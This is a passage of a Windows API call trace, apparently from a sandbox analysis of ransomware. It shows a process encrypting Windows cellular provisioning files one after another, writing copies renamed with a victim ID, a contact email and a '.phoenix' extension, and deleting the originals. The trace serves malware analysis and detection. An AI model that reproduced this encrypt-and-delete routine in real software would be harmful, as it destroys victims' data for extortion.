	[0252.646] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0252.646] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0252.646] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0252.646] CryptDestroyKey (hKey=0x151500) returned 1
	[0252.646] CloseHandle (hObject=0x2d8) returned 1
	[0252.646] CloseHandle (hObject=0x2b4) returned 1
	[0252.646] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\481__connections_cellular_vodafone uk (united kingdom)_i3$(__mvid)@wap.provxml")) returned 1
	[0252.647] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.648] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.648] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\482__connections_cellular_vodafone uk (united kingdom)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0252.648] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151080) returned 1
	[0252.648] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.648] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x35c, lpOverlapped=0x0) returned 1
	[0252.649] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0252.649] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0252.650] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0252.650] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.650] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0252.650] CryptDestroyKey (hKey=0x151600) returned 1
	[0252.650] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0252.650] CryptDestroyKey (hKey=0x151080) returned 1
	[0252.650] CloseHandle (hObject=0x2b4) returned 1
	[0252.650] CloseHandle (hObject=0x2d8) returned 1
	[0252.651] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\482__connections_cellular_vodafone uk (united kingdom)_i4$(__mvid)@wap.provxml")) returned 1
	[0252.678] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.678] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.678] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\483__connections_cellular_vodafone uk (united kingdom)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0252.680] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0252.680] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.680] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x35d, lpOverlapped=0x0) returned 1
	[0252.764] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0252.764] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0252.765] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151240) returned 1
	[0252.765] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.765] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0252.765] CryptDestroyKey (hKey=0x151240) returned 1
	[0252.765] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0252.765] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0252.765] CloseHandle (hObject=0x2d8) returned 1
	[0252.765] CloseHandle (hObject=0x2b4) returned 1
	[0252.765] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\483__connections_cellular_vodafone uk (united kingdom)_i5$(__mvid)@wap.provxml")) returned 1
	[0252.766] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.766] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.766] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\486__connections_cellular_at&t (united states)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0252.767] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0252.767] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.767] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cf, lpOverlapped=0x0) returned 1
	[0252.794] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0252.794] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0252.795] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0252.795] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.795] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0252.795] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0252.795] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0252.795] CryptDestroyKey (hKey=0x151140) returned 1
	[0252.795] CloseHandle (hObject=0x2b4) returned 1
	[0252.795] CloseHandle (hObject=0x2d8) returned 1
	[0252.795] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\486__connections_cellular_at&t (united states)_i1$(__mvid)@wap.provxml")) returned 1
	[0252.801] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.801] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.801] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\487__connections_cellular_at&t (united states)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0252.801] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0252.801] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.801] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ce, lpOverlapped=0x0) returned 1
	[0252.808] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0252.808] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0252.809] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0252.809] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.809] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0252.809] CryptDestroyKey (hKey=0x151500) returned 1
	[0252.809] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0252.809] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0252.809] CloseHandle (hObject=0x2d8) returned 1
	[0252.809] CloseHandle (hObject=0x2b4) returned 1
	[0252.809] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\487__connections_cellular_at&t (united states)_i2$(__mvid)@wap.provxml")) returned 1
	[0252.811] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.811] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\489__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0252.811] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0252.811] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.811] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d9, lpOverlapped=0x0) returned 1
	[0252.812] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0252.812] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0252.813] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0252.813] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.813] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0252.813] CryptDestroyKey (hKey=0x151600) returned 1
	[0252.813] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0252.813] CryptDestroyKey (hKey=0x151400) returned 1
	[0252.813] CloseHandle (hObject=0x2b4) returned 1
	[0252.813] CloseHandle (hObject=0x2d8) returned 1
	[0252.813] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\489__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0252.815] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.815] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.815] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\48__connections_cellular_proximus (belgium)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0252.815] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0252.815] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.815] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cf, lpOverlapped=0x0) returned 1
	[0252.821] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0252.821] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0252.822] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0252.822] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.822] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0252.822] CryptDestroyKey (hKey=0x151380) returned 1
	[0252.822] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0252.822] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0252.822] CloseHandle (hObject=0x2d8) returned 1
	[0252.822] CloseHandle (hObject=0x2b4) returned 1
	[0252.822] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\48__connections_cellular_proximus (belgium)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.823] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.823] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.823] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\491__connections_cellular_plateau wireless (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0252.824] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0252.824] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.824] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x294, lpOverlapped=0x0) returned 1
	[0252.831] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0252.831] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0252.832] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0252.832] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.832] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0252.832] CryptDestroyKey (hKey=0x151100) returned 1
	[0252.832] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0252.832] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0252.832] CloseHandle (hObject=0x2b4) returned 1
	[0252.832] CloseHandle (hObject=0x2d8) returned 1
	[0252.832] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\491__connections_cellular_plateau wireless (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.834] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
